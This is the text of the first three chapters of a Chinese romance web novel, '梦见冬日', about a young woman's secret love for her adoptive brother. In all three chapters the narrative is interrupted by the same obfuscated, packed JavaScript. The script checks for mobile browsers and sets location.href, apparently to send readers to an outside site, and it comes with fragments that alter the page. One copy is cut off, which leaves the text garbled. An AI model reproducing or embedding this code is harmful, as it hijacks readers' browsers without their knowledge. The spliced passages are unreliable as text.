《梦见冬日》 1. 第一章 梨城向来多雨,今年更甚,到了五月雨一直下个不停。 姜筠从外面回来,球鞋上又多了几块斑点,泥点粘在白色的鞋面,就像雪白的画布被人泼了几滴墨,异常刺眼。 弯腰低头检查,幸好裤腿没粘上泥,她稍稍松了口气。 对姜筠来说,今天一整天实在算不上愉快,下午陶影放了她鸽子,她一个人在书店等了她一个多小时,结果陶影还是没来。回家路上,刚走到半路就下起暴雨,她只好又在临街的商铺躲了好一会,要不是刚好附近有个小超市卖伞,她还不知道要等多久。 坏情绪本该在进门前就丢弃干净,但或许是因为天气,又或是一些说不清道不明的原因,她连走路都有气无力。 新买的伞被随手扔在门外,姜筠走进玄关换家居拖鞋,习惯性地往上瞥,视线停留在鞋架上那双蓝色的居家拖鞋。 那双拖鞋整齐地摆放在那,就在上面一层。 那个人出门了。 知晓这个结果后,姜筠眼神变了变,心里有了异样。 在厨房忙活的邹淑玢听见脚步声,掀开隔帘跑出来,瞧见是她,侧过头往她身后又看了看。 “你自己回来的?”她问。 姜筠点头,应了声:“嗯。” “你哥呢?怎么没见他人?”邹淑玢疑惑,追问,“你哥刚才出去给你送伞了,你没碰到他?” 姜筠表情立刻变得不自然,某种情绪在萌芽。 哪怕心里窃喜,她还是下意识反驳。 “给我送伞?他知道我在哪里么?” “你哥今天出去见你二姨介绍的女孩子,刚到家,听说你出门没带伞,就给你送伞过去了,他没联系你?”邹淑玢心里还记挂着,说话有些急,“那你快给你哥发个消息,说你已经到家了,让他回家吃饭。” 听到前半句,姜筠就已经停下了脚步,喉咙处开始泛酸,她揪紧挎包的背带,闷声说道:“我把温礼昂的微信删了,你给他打电话吧。” “怎么又删了?”邹淑玢先是一愣,随后笑得无奈,边在围裙擦干手上的水渍边说,“哎呀,都这么大个人了,怎么还跟小朋友似的动不动就吵架?你哥对你多好,你怎么天天和他置气?” 邹淑玢似是对此见怪不怪了,一边让她上楼洗澡,一边走到客厅拿起手机给温礼昂打电话。 姜筠关上房门前,还听见楼下传来电话声。 “阿礼,小筠已经到家了,你现在在哪呢?” “嗯,对,她刚到家,衣服是湿了一点,不过没淋到雨,你别担心,快回来吧,饭快做好了……” 姜筠眼眶红了红。 没等听完,啪地一声,房门被用力关上,楼下的说话声好像弱了些。 褪去衣服,站在淋浴口下,思绪被热气蒸发,镜子里的人变得模糊,雾气弥漫,她看不清自己的脸,好像又可以欺骗自己,这是焕然一新的姜筠,这是已经决定重新开始的姜筠。 那个人无论去见谁,都和她没有关系了。 洗完澡下楼,餐桌上摆满了菜,温礼昂竟然还没回来,姜筠饿了一整天,鼻子闻到香味,视线不由自主地望向餐桌上的锅包肉,趁邹淑玢不注意,她拿起筷子,夹了一块放入嘴里。 她还没嚼完,邹淑玢就发现了,拿起筷子作势要敲她的手。 “你哥还没回来呢,你就偷吃!都多大的人了,还跟小孩子一样。” 姜筠撇嘴,这回也不偷偷摸摸吃了,直接在餐桌旁坐下,和姜永晟撒娇:“爸,我都饿一天了,妈妈还凶我。” 旁边的姜永晟推了下眼镜,和妻子摆摆手,笑道:“没事,哪来那么多规矩,小筠一整个下午都没吃东西,别饿出胃病了,我们先吃吧,待会等阿礼回来,再把菜热热。” 说着,就往女儿碗里夹了一块红烧鸡翅。 邹淑玢频频叹气:“她就是被你惯坏的,现在一点规矩都没有,你看阿礼多懂事,现在多有出息,哪像我们女儿——” 这些话姜筠听多了也免疫了,左耳进右耳出。 姜永晟适时打断:“不说这些了,吃饭吧。” 最后还是提前开饭,姜筠坐在餐桌前吃到一半,门口忽然传来响动。 是男人轻缓的脚步声。 姜筠后背僵了僵,眼睛失去焦距。 那个人开门走过来时还闻得到室外雨水潮湿的味道,夹带着极淡的雪松香水的气味,风从门口灌进来,那味道侵入鼻腔,太过熟悉。 兴许是普鲁斯特效应起了作用,她鼻子酸了酸,嘴里咀嚼的食物泛起苦味。 克制着不再回头看,筷子握紧,姜筠若无其事地又夹了块牛肉放进碗里。 下一秒,有椅子拉动的声音响起,邹淑玢从座位起身,去厨房盛饭:“阿礼可算回来了,我和永晟正想给你打电话呢,怎么去了这么久?” “路上有点堵,耽误了一会。” 温润的嗓音自身后传来,随后是车钥匙放在桌面的声音,很轻缓,他做事似乎永远都那么慢条斯理,优雅得体,永远不会失态。 “那你换件衣服赶快过来吃饭,”突然邹淑玢看到他后背,声音变了变,“哎,怎么衬衫都淋湿了,外面这么大雨么?” 姜筠心里一颤,视线不由自主地往他的方向瞥。 眼角余光看到他倒像是真的淋到了雨,发丝挂着水珠,衬衫湿了一大块,显得锁骨处的凹陷更为明显。 他手里还拿着两把雨伞,还在往下滴着水,一把是黑色的长柄雨伞,另一把是卡通图案的折叠伞。 那把折叠伞是他以前买给她的,她很久没用了,扔在杂物房里,不知道他是怎么找到的。 “温礼昂,以后这就是我的专属雨伞了,谁都不许用,去接我都要用这把伞哦。” 那些稚气的话言犹在耳,穿过时间的缝隙,在多年后的今天,仍然击中了她的心脏。 察觉到他有回头的迹象,姜筠立刻端起碗挡住了视线。 她不知道温礼昂有没有回头看她,但她明明挡住了视线,可心里却希望他回头,希望他回头看她。 是的,她总是这么矛盾。 雨伞放在玄关处,温礼昂上了楼,她最后也不知道他到底有没有回头。 这顿饭注定变得索然无味,姜筠匆匆吃了几口就放下碗,想要赶在他下楼前离开餐桌,谁知道她刚准备起身,温礼昂就出现在楼道拐角。 他换了件白色衬衫,挺括的面料,熨得平整,袖口半挽,两人目光隔空碰撞,他嘴角泛起温润的笑意,似乎他总这样笑,从见面的第一天便是如此,姜筠不知道此刻的自己是什么样的表情,她只觉得胸口有点闷,像被腌在了密封的罐子里,透不过气。 她还没离开,温礼昂已经走近,在她旁边的位置落座。 这么多年,用餐的位置都很固定,她和他相邻而坐,姜永晟是个怀旧的人,家里没客人时一直都用那张老式餐桌,那餐桌不大,夹菜时,两人的手难免碰到。 手背相碰时,皮肤表层的毛细血管都像在扩张,只那一瞬,姜筠又乱了心神。 夹菜的手停住,幸好邹淑玢聊起别的话题,没有人留意到她此刻的异样。 太轻易了。 他太轻易就撩动了她的情绪。 自从温礼昂坐下后,餐桌上姜筠再也没说过一句话,只顾着埋头吃饭,任谁都看出了不对劲。 姜永晟给她夹菜,话里却是对温礼昂说的:“阿礼,怎么回事,又欺负妹妹了?刚才让她给你打电话,她说把你微信删了。” 虽是指责的话,但更多的是调侃。 她听见旁边的人用餐巾擦拭嘴角,低声说:“可能我又惹阿筠不开心了。” “你这个做哥哥的,得让着点妹妹。”姜永晟说。 “好,我会的。”温礼昂笑着点头。 最温柔的人,说着最无辜的话,仿佛他什么都不知道。 但其实他什么都知道。 知道她为什么难过,知道她为什么反常。 知道她的失落、不安、挣扎、困惑……她的一切一切,他都知道。 邹淑玢不知道发生了什么,跟着笑了声,抬头看向姜筠:“都多大人了,还和以前一样,动不动就吵架生气,你说你什么时候才能长大?” 只是,前一秒还在说她没长大,下一秒却又关心起她的工作。 “对了,小筠,等假期过完,就去找工作吧。” 姜筠愣住:“找什么工作,我现在有工作啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13458547|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹淑玢摇头叹气:“你那都不是正经工作,再说了,读那么好的大学,就在一个小旅行社当摄影师,多可惜。” 还是兼职的,一会有活,一会没活的,多不稳定,谁知道什么时候就被开了。 邹淑玢早前就劝过她几次,但这女儿从小就倔得很,偏要跟她对着干,眼看着都辞职大半年了,还没着落,也不去找份正经工作,就呆在一个破旅行社里。 这番论调姜筠不是第一次听,这次她依然当作没听到。 “妈,我心里有数,这份工作我做得挺开心的,暂时不考虑换工作。” 邹淑玢仍是不同意:“实在不行,你去你哥公司上班,当个小职员也行。” “不要。”姜筠脱口而出,似是十分抵触。 言辞里的反抗意味很浓,温礼昂筷子一停,转头,往她的方向看去。 姜筠头发半扎着,兴许是因为刚洗完头发,有半缕垂落在脸侧,在灯光下泛着光泽,她手里拿着筷子,有一下没一下地戳着碗里的米饭。 “没事,吃饭吧,囡囡不愿意就算了,就算不想工作也不碍事,咱家里又不是养不起。”姜永晟一向对孩子宽容,不愿意在餐桌上起争执。 邹淑玢见说不动女儿,片刻间,又转移了话题。 她关心起温礼昂今天见面的情况。 “对了,阿礼,今天和那女孩见面感觉怎么样?” 温礼昂下意识地往旁边看了眼,想了想,回道:“挺好的。” “我也是真够迟钝的,你年初那会不是送我去剧院看戏吗,她当时就和我问起你了,我那时候没往那个方向去想,都没介绍你们认识,不过现在也不晚,你二姨说那女孩家里条件好着呢,人家刚从国外留学回来的,爸爸在北城做珠宝生意,妈妈是我们这话剧院的院长,”邹淑玢眨了眨眼,“怎么样,她是不是长得很漂亮。” 姜筠一点胃口都没有,扒拉着碗里的饭,心悬在线上,忽然,听到隔壁的温礼昂嗯了一声。 “很漂亮。” 姜永晟:“要是合适,就好好发展吧,你这个年纪,也该成家了。” 温礼昂停顿了片刻,点头。 “嗯。” “要不明天——” 邹淑玢正想说话,姜筠打断了她:“我吃完了,先上楼了。” 邹淑玢看向她碗里还没吃完的菜,正想数落,但瞥见女儿脸色不好,又把话咽了回去。 “去吧,待会姜汤煮好了,记得下楼喝。” “知道了。” 她应了声,便走上楼。 走到楼道拐角,她听见姜永晟问温礼昂:“最近囡囡是不是工作受委屈了,怎么这次回家都不爱说话了。” 姜筠站在原地,耐着性子等了好一会,终于听见温礼昂的声音。 他迟疑了好一会,声音变得有些紧绷:“可能是吧。” 姜筠在房间里呆了五个小时。 她戴着耳机在房间里打游戏,更多的时候是对着电脑发呆,一直到凌晨才从房间里走出来。 客厅只有微弱的灯光,昏黄色,暖色调的颜色很容易让人产生诸如温馨之类的联想。 打开门的一瞬间,她听见了水流声。 是从浴室传出来的。 二楼只有她和温礼昂住,只可能是他在洗澡。 她忽然记起下午她洗完澡,忘记把衣服从脏衣篓里拿出来了。 心里一紧,正要懊恼,不过抬眼却看到阳台上她的衣服已经挂在晾衣杆上,白色的T恤在灯光下镀上了一层淡黄色的光,这会外面没有下雨,连风也不曾经过,那件衣服就这么静静地挂在那。 是他晾上去的么? 不容多想,怔愣间,浴室门却打开了。 温礼昂从浴室出来,顶光下他的五官轮廓显得格外立体,睫毛纤长在脸颊打下阴影,因为刚洗完澡的缘故,头发也还在往下滴着水。 他正在看她,仍是那样沉静的眼神,只是狭长的眼睛很容易让人产生多情的错觉,但此刻姜筠不想回避他的目光。 灯光昏黄,她视线逐渐往下移。 白色的浴袍将他的身体裹得严严实实,但姜筠知道在他腰间左侧的位置。 那里有一颗痣。 2. 第二章 无声对视,她眼底翻涌着情绪,目光灼热,温礼昂还站在原地,他发梢湿润,水珠沿着下颌往下掉落,没入浴袍。 有种难以言喻的诱惑。 她承认她对眼前的人永远充满欲望。 想靠近的欲望。 想亲吻的欲望。 还有某种更赤裸的欲望。 那么近的距离,似乎连对方呼吸的频率都能感知,让人心猿意马。 暗流涌动,浴室的灯光无故闪了一下,像是某种旧日记忆的闪回。 紧接着,她听见温礼昂问她,是一贯关心的口吻。 “今天有没有淋到雨?没有感冒吧。” 他话音很轻,和他这个人一样温柔。 说完,他的手好像往前伸了一下,手腕上的黑色编绳也因此晃动。 姜筠忽然意识到,他这个动作好像……是想要摸她的头。 不知为何,意识到这一点,她竟有点委屈,鼻子酸了一下。 她不会告诉他,她今天有很多次差点就坚持不住了。 她很想给他发消息,很想给他打电话,很想和他撒娇埋怨,很想像以前一样继续黏着他。 她不会告诉他,她今天在书店闻到有人喷了和他一样的香水,她以为是他,欣喜地转过头,最后收获的是对方惊诧的目光。 她也不会告诉他,今天妈妈说他去给她送伞的时候,她有多开心。 可是下一秒,她就知道了他只是顺便对她好的,他不过是约会回来,顺便给她送伞而已。 眼眶渐渐发热,姜筠移开了视线,目光变冷,往后退了一步。 她退回了安全距离。 “有没有哪里不舒服?”温礼昂像是并不在意她的举动,还在问。 是关心的口吻。 眼泪快要掉下来,姜筠忍住了。 她没应,温礼昂便走近了些,那声音离她更近了。 “听话,去楼下喝姜汤。” 他语气平静得像是什么事都没发生过。 姜筠皱眉,抬眼看他。 她不明白他竟还能这么平静,那么坦然地站在她面前,用这样的语气和她说话。 她本想讽刺几句,但最后只看了他一眼,径直从他旁边经过,走进身后的浴室,用力地关上了门。 门外自此没了动静,一片死寂。 抵在门背,姜筠在心里默念,终于在数到第十个数的时候,温礼昂走了,她听见他不疾不徐的脚步声。 浴室里热气氤氲,男士沐浴露的味道充盈了整个空间,洗手台前的镜子仍是模糊的,姜筠洗了把脸,在浴室冷静了一会才打开门。 再走出来时,她被茶几上那只瓷白色的碗夺去了全部的注意力。 那里放着一碗姜汤,雾气萦绕,迷住了她的眼。 五一假期快要结束时,陶影又约了她,说上次的事太对不起她了,要请她吃饭给她赔礼道歉,并信誓旦旦保证不会再有下次。 当然,这话姜筠也只是听听。 这么多年,她都快习惯她这套说辞了。 陶影那不着调的性格,她吃得太透。 不过正好她今天没什么事,便打算出门逛逛,顺便看看陶影心心念念、倒追了大半年的人到底长什么样,值得她为他收心养性。 下楼那会,陶影的消息又发了过来。 一连发了好几条语音。 【对了,他朋友待会也会过来,一水的帅哥,你快点来挑,晚了都被人挑走了!】 【怎么不回我,我没跟你开玩笑。】 【图片】 【怎么样,我偷拍了一张,中间那个是不是挺帅的?】 【选好没,我待会帮你撮合,把你俩安排坐在一起。】 【你今天记得穿好看点,别给我丢人嗷。】 姜筠没好气地笑了,把手机放进牛仔裤的口袋。 她没当一回事,不过路过浴室时,倒是往镜子里看了一眼。 她今天穿的是最简单的白色T恤,水洗做旧款牛仔裤。 最普通的装扮,跟出门遛弯穿的差不多。 她对这种局向来没什么兴趣,也就陶影每次都不厌其烦地给她张罗。 从楼上下来,饭菜做了一桌,香气四溢,邹淑玢系着围裙,招呼她过来吃饭。 “把手洗干净,过来吃饭了。” 姜筠摇头,把背包挎上,正要说话,目光往窗户那瞥了眼,正好看到马路对面站着的两个人。 她看到了温礼昂,以及……她旁边的女孩。 女孩穿着可爱的蓝色挂脖连衣裙,看上去约莫是大学刚毕业的年纪,两人站在街角对面说话,不知温礼昂说了什么,女孩眼神渐渐变得崇拜,脸上洋溢着遮掩不住的笑容。 以温礼昂的谈吐和长相,如果想让一个人对他好感,简直是轻而易举。 他甚至不需要花费太多力气,总有人前赴后继。 以前是这样,现在也是。 两人说话时离得那么近,甚至温礼昂身体微微往对方的方向倾斜,看来他不是为了完成家里的任务,而是确实也有意向要和她交往。 姜筠嘴角的笑敛住,右手攥紧了背包的肩带,大概是她的反应太过反常,邹淑玢也留意到了外面的动静,凑过来看。 邹淑玢看了眼墙上的时钟,笑意吟吟地说:“都聊这么久了,还没聊完呢,你哥也真是的,也不知道喊小仪过来一起吃午饭,在外面站着聊多累。” 这话无异于火上浇油,姜筠只觉得心脏处的缺口被撕裂得更严重了,簌簌地往里灌风。 邹淑玢说着手在毛巾上擦了下,像是要出门喊他们过来吃饭。 “我去喊吧。” 她的声音紧绷得像很久没拧开过的生锈的锁。 没等邹淑玢反应,姜筠已经走了出门。 等红灯那会,隔着马路的车流,温礼昂就看到了她。 她确认温礼昂看到了她。 因为他的目光在她身上停留了好一会,她眉心微动,却也不像是在皱眉,他只是很平静地看着她,留意着她身边来往的车流,他一边关心着她,一边还能和旁人说着话。 五月是梨城的雨季,几乎每天都在下雨,今天却出了大太阳,闷窒又燥热,和她此刻的心情一样。 这几步路,姜筠走得漫长,她在想要用什么样的表情面对他,面对这个场景,阳光猛烈,视线聚焦于一点时,眼睛酸涩得不行,有流泪的冲动。 终于她还是压抑了所有情绪,站在两人面前的她,已经伪装好了所有情绪。 驾轻就熟,一如往常。 她还没说话,反倒是覃仪先开口。 “这位是?” 覃仪留意到眼前的人出现后,温礼昂似乎和刚才有点不一样了,但具体哪里不一样她又说不上来,明明他还是一样的绅士、温柔、体贴,可她就是察觉到了细微的变化。 温礼昂望向姜筠,轻声介绍:“我妹妹,姜筠。” 姜筠攥紧了右手,可脸上的表情装得甜美又乖巧,她仰头对温礼昂说:“哥,可以吃午饭了,妈妈让我喊你去吃饭。” 她没有叫她温礼昂,而是喊他“哥”。 温礼昂太阳穴跳了跳,抬眼望向她,眼神较之刚才复杂了许多。 只有一种情况,她才会这样喊他。 阳光下三人的阴影落在地上,有两人的阴影交织在一起,分不清彼此。 诡异的气氛如同细线缠绕,沉默之下,又听见姜筠对覃仪说:“不介意的话,来家里吃顿便饭吧,我妈妈做饭可好吃了。” 温礼昂皱眉,他没有移开望向姜筠的视线,似乎想从她的眼睛里寻找答案,可姜筠并未看他。 “方便吗,会不会打扰到你们?”覃仪似乎有些不好意思,说得很小声。 “不会的,一点都不会打扰到,”姜筠拉起覃仪的手,看上去十分熟络,“哥,你怎么还愣着,一点都不懂事。” 经这调侃,覃仪脸唰地一下红了,先是看了姜筠一眼,又悄悄观察温礼昂的表情,神色紧张。 直到温礼昂柔声询问:“不急着回去的话,要不一起吃顿便饭?” 覃仪害羞,迟疑了片刻,点头应下来。 过马路时,覃仪和温礼昂走在前面,姜筠在后面看着两人的背影。 兴许是太阳太大,刚才那股流泪的冲动又涌了上来,鼻子一酸。 真般配。 她以前和温礼昂走在一起的时候,也会是这样的吗? 有没有人看到过她和温礼昂走在一起的背影,那些人也会觉得他们般配吗? 三人一起进门,邹淑玢瞧见乐呵得不行,厨房里的火都没关,立刻去楼上把姜永晟喊下来招待客人。 姜筠在玄关处弯腰换拖鞋,覃仪却留意到了细节。 “你们兄妹感情真好,拖鞋都是一粉一蓝的,好可爱。” 那是去年姜筠买的情侣拖鞋,鞋面是卡通图案,在那部动画里,小熊和兔子经历了种种磨难最后终于在一起过着美满幸福的生活。 如此隐秘的心思,不知温礼昂有没有发现,此刻经覃仪点醒,她却不好意思再穿了,姜筠把那双粉色的拖鞋放了回去,换了另一双备用拖鞋。 “没有,我现在可讨厌他了,他的微信我都删掉了。” 她用开玩笑的语气撇清了关系。 温礼昂听见,后背僵硬了一瞬。 只有覃仪当她在开玩笑,调侃几句后聊起了早上和温礼昂去看的展览 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13458548|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姜筠看不见温礼昂的表情,但从语气来看,他们度过了很愉快的一个早上。 这会,邹淑玢和姜永晟下了楼,此刻其乐融融的气氛,很适合逃跑。 姜筠上了楼,一进门她就卸下了面具,嘴角乖巧甜美的笑消失得无影无踪。 她看见镜子里的人木讷得像被抽走了灵魂的雕像。 面无表情地打开衣柜,姜筠把那件白色T恤和牛仔裤换了下来。 下楼时,大家正围坐在餐桌前准备吃饭,覃仪坐在了她的位置,和温礼昂挨得很近。 很和谐的一家人,衬得她倒多余了。 温礼昂最先看到她。 他的目光停留在她身上穿的裙子,眼神顿时变得幽深,深褐色的瞳孔,如同深不见底的潭水。 “要出门?”他主动开口问,嗓音低沉。 他这么一说,邹淑玢这才回过头,倒是愣了愣,随后八卦起来。 “囡囡今天怎么穿这么漂亮,是不是约了男孩子?” 姜筠长得漂亮,但向来懒得打扮,每次放假回家,邹淑玢都见她穿着宽松的T恤和牛仔裤,不管自己怎么说,她就是不听,像今天这样认真打扮,还真是少见。 复古长裙,纤细的吊带挂在脖颈,露出完美的锁骨和肩颈线条,修身的剪裁,将她的身材优点全凸显出来,虽然是长裙,但右侧自大腿处开了衩,走动时白皙的长腿若隐若现,引人遐想。 覃仪都看得目不转睛,习惯性转头去看温礼昂,发现他表情并不是很好,一向温文尔雅的人突然变得低气压,她正要询问,可他的表情又恢复如常,仿佛一切只是他的幻觉。 姜筠点头,回答邹淑玢的话:“嗯,约了朋友,今晚应该不回来吃晚饭了,不用等我。” “哎呀,我就说算命的人说得准,他年初说你今年桃花旺,有正缘,这不就应验了,”邹淑玢把女儿从上到下打量了个遍,“这裙子这么好看,怎么没见你穿过。” 姜筠沉默,没说话。 因为这是几年前温礼昂送给她的生日礼物,除了生日那天,她再也没穿过。 记忆一下闪回了那个夏天。 她换好衣服,站在温礼昂面前,故意问他。 “温礼昂,我穿起来好不好看?” 她看见眼前的人喉结动了动,迟疑着点了点头。 “好看。” 姜筠嘴角笑容弧度加深,笑得灿烂:“其实我知道,因为你盯着我都没移开过眼睛。” 温礼昂的脸上难得露出局促的表情,正要回避她的视线,但下一秒,姜筠一头扎进他怀里,双手环住后背紧紧抱住了他。 “温礼昂,你怎么这么好,好到除了你以外我想象不到和另一个人在一起生活。” “……” 他只是沉默。 “你不和我在一起也没关系,只要你不喜欢别人,我就一直喜欢你。” 等了很久,温礼昂都没有回应。 她应该难过的,可那天太开心了,她不想说一些扫兴的话。 她把眼前的人抱得更紧。 “这个裙子很好看,但我还是不穿出去了。” “为什么?” “这么漂亮,别人要是喜欢我的话,拒绝起来很麻烦的。” 温礼昂轻笑了声,她感觉到他胸腔轻颤了下,呼吸落在她头顶。 …… 姜筠站在家门口打车,司机很快接单了,上面显示离她还有1.3公里。 陶影这会给她发来消息:【你到哪了?我待会去楼下接你。】 正要回复,身后突然传来门从里面被打开的声音,以及熟悉的脚步声。 “要去哪里,我送你?” 温礼昂声音响起的那一刻,姜筠心颤了下,本来清晰的思绪又乱作一团。 姜筠闷声回道:“不用,我打到车了。” “嗯,好。” 温礼昂点点头,脸上表情如常。 该说他大方吗,她要去约会,他竟不介意,还要送她去。 意识到这一点,姜筠恶作剧的心一下上来了。 在温礼昂进门前,她喊住了他。 “哥。” 温礼昂脚步稍顿,回过头。 “怎么样,我穿起来好看吗?你刚刚也不发表意见。” 温礼昂一言不发,唇线抿紧,周身围绕的气压低了许多,目光也变得深沉。 “你说,男生会喜欢吗?”姜筠故意又走近了些,眼睛一眨不眨地盯着他,凑近问,“本来我想换另一条更短的——” 温礼昂低头望向她的腿,脸上的表情已经不太好了。 又听见她缓缓开口说道:“但好像这条裙子比较有意义,因为——是你送给我的。” 3. 第三章 “陶影,你不是说你有朋友要来?” 包厢里,人陆陆续续都到齐了,交谈声愈来愈热烈,旁边的人碰了下陶影的胳膊,凑近问,“你朋友是不是迷路了?怎么还没到?” “不会吧。” 陶影一边否认,一边拿起手机看,她和姜筠的聊天页面还停留在二十分钟前姜筠说的“快到了”。 难不成真的迷路了? “我下楼看看。” 说着,陶影从沙发起身,拿起手机出门。 给姜筠发完消息,陶影在楼下逗了一会流浪猫,又点了根烟,才抽了两口就有人拍她肩膀,姜筠的声音出现在身后。 “不是说戒烟了?怎么又抽了?” 心虚熄灭了烟,陶影正要糊弄过去,只是刚转头看见姜筠,一下忘了要说的话,眼睛亮了又亮,快黏在姜筠身上。 “今天穿这么漂亮,也太给我长脸了吧。” 认识那么多年,也没几回见姜筠认真打扮,尤其今天还化了妆。 她一直都知道姜筠长得漂亮,从初中开始就多的是人追,校内的校外的都有,但她跟断情绝欲了似的,对谁都没兴趣,每天除了学习,就是跟在她哥后面转。 姜筠世界里唯一的异性,大概就是温礼昂了,这个没有血缘关系的哥哥,是她生命中最重要的人,两人虽然不是亲生的,但感情比多少亲兄妹还要好。 也不能怪姜筠那么黏她哥,温礼昂也的确对她很好,当年为了救她,温礼昂差点丢了半条命。听说本来两人还打算上同一所大学的,后来不知怎么,姜筠后来改了志愿,去了T大。 这么久以来,姜筠的感情生活几乎是一片空白,不过大学的时候,她终于开窍了,谈了一个巨帅的男朋友,她去姜筠学校找她玩的时候,曾经匆匆见过一眼。 哪怕那人清高傲慢、眼高于顶、不拿正眼瞧人,但不得不承认,帅得很客观,在理工科大学,仍能凭借一张脸杀出重围的那种帅。 除了姜筠她哥,在生活里,她都没见过这种绝色。 不过遗憾的是,没多久,她再问起,姜筠说已经分手了,分手理由很普遍——性格不合。 陶影觉得这大概是体面的说法,具体原因就不得而知了。 她一直觉得姜筠这几年不谈恋爱,是因为忘不了那个大帅比前男友,毕竟吃惯山珍海味的,一下消费降级到路边十元任选快餐店,任谁也接受不了。 好在今晚有几个长得也还行,勉强算是拿得出手。 坐电梯上楼,姜筠进门时,陶影明显感觉到在场有几个男的坐直了一些,说话都开始端了起来,不经意间带上点ABC腔调,时不时夹几个英语单词,生怕别人看不出他留过学。 他们假装在和旁人说话,但实则时不时就往姜筠这边看过来。 陶影拿起果汁喝了口,暗里观察。 虽然她自己的感情还没有着落,但姜筠要是能遇上好的,她也乐见其成。 玩游戏的时候,旁边那个富二代弟弟频频给姜筠递话,不过,虽然姜筠没表现出任何不耐烦,但她明显感觉到她兴致缺缺,注意力不在对方身上。 陶影心里了然,看来姜筠还是没兴趣。 姜筠情绪的转变是从收到了一条短信开始的。 来自一个没有备注的号码。 陶影没看清短信的内容,只看到姜筠放下手机,拿起旁边的酒杯抿了一口。 “别喝太多,这酒烈着呢,要不我让人给你重新调一个?”那人马上就过来献殷勤。 姜筠笑着摇头,凑近,酒气打在他脸上,问了他另一个问题:“你有开车过来吗?” “你现在就要回去了?”叶弨眉头微皱,看了眼腕表,他今天恰好没开车过来,真是够倒霉的,瞧见姜筠眼神暗了暗,立刻说,“我车刚才借给一朋友了,不过没事,我现在喊他给我开过来,你等一下——” 他这边话还没说完,旁边就有另一道声音插入:“我开车了,那我送你吧,就不用麻烦小弨了。” 姜筠抬头,是一个穿着黑色西装,年纪稍长的男性,五官立体,看上去是事业有成的模样,两人一整晚并未交谈过,以至于她有点意外。 陶影扯了下她的袖子,示意她答应。 她小声在旁边说:“商务男,成熟稳重,适合你。” 姜筠愣了愣才点头。 “你好,我叫周誉清。”他朝姜筠伸出手。 陶影瞧见有戏,笑得暧昧,给姜筠使眼色。 这么好的机会,竟然还能被截胡。 叶弨悔得肠子都清了。 时间不早,周誉清先送了陶影回家,最后才送姜筠。 回去的路上,他表达出了强烈的兴趣,直白地和她邀约下一次见面。 对方热情大方,风趣幽默,姜筠却走了一会神,短信上那个没有任何备注的号码像一根针扎进毛细血管,留下细细密密的针孔。 轿车穿过隧道,夜晚风声猎猎,姜筠忽然意识到一直以来她都走在一条名为温礼昂的独木桥上,她曾经发誓哪怕要用一生的时间,她也要走到终点。 温礼昂是她唯一的终点。 “听陶影说,你也在北城工作?”轿车驶离隧道,男人的声音把她拉回现实。 “嗯。” “什么类型的工作?我猜猜,”男人思考了片刻,“画家?策展人?抑或是话剧演员?” 见姜筠全都摇头,男人反倒不好意思起来。 “我向来看人挺准的,这次竟然全都猜错,看来我们还需要更多的了解。” 像是在调情的一句话,姜筠只当没听见。 “那你放假到什么时候,我顺路送你?” 姜筠犹豫了片刻,拒绝:“不用了,我现在还说不准呢,好不容易可以休息,不急着上班。” “没关系,随时联系我,我公司的事也不急。” 男人很绅士,言辞温柔,虽谈不上是有好感,但终归是不反感的。 轿车开进小区,快到家了,隔着车窗,姜筠抬头往上看,温礼昂房间的灯还亮着。 他还没睡。 姜筠突然心情大好。 他是在等她吗?从刚才一直等到现在? 他是不是也在担心她今晚都不回来了。 单是想象这个可能,姜筠忽然觉得今晚所有的一切都有了意义。 下车那会,她又抬头看了眼。 温礼昂的剪影就在窗户前,暗光下,宽肩窄腰的倒三角身材更为明显,他双手撑在窗沿往下看,就像是漫画里作者精心修饰的一幕。 在他右手边放着她以前送给他的盆栽——镜面草,是一种不需要太多阳光就能存活的植物。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13458549|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜筠想,他应该看到她了。 她故意站在门口和男人聊了一会天,男人凑近和她说话时,她并未闪躲。 她不是会做这种幼稚举动的人,但是此时此刻她很想知道温礼昂的反应。 试探也好,激怒他也罢,她不相信温礼昂对她一点男女之情都没有。 大学那会,她谈了唯一一段恋爱,某个周末,她把那人带到了温礼昂面前。 只有那个时候,她才觉得温礼昂是爱过她的,不然他深邃的眼睛里不会流露出那样复杂又矛盾的神情,生气、愤怒、还有嫉妒,他似乎有很多话想说,可最后他只是对着那人微微笑了一下。 窗户处的剪影消失了,姜筠的目的达到,她和男人挥手告别,礼貌道谢。 “今天麻烦你了,回去的路上注意安全。” “还会再联系我吗?”男人目光如炬,盯着她看。 “当然了。” 姜筠笑着点头,晃了下手机。 男人心满意足地离开,转身坐上驾驶座。 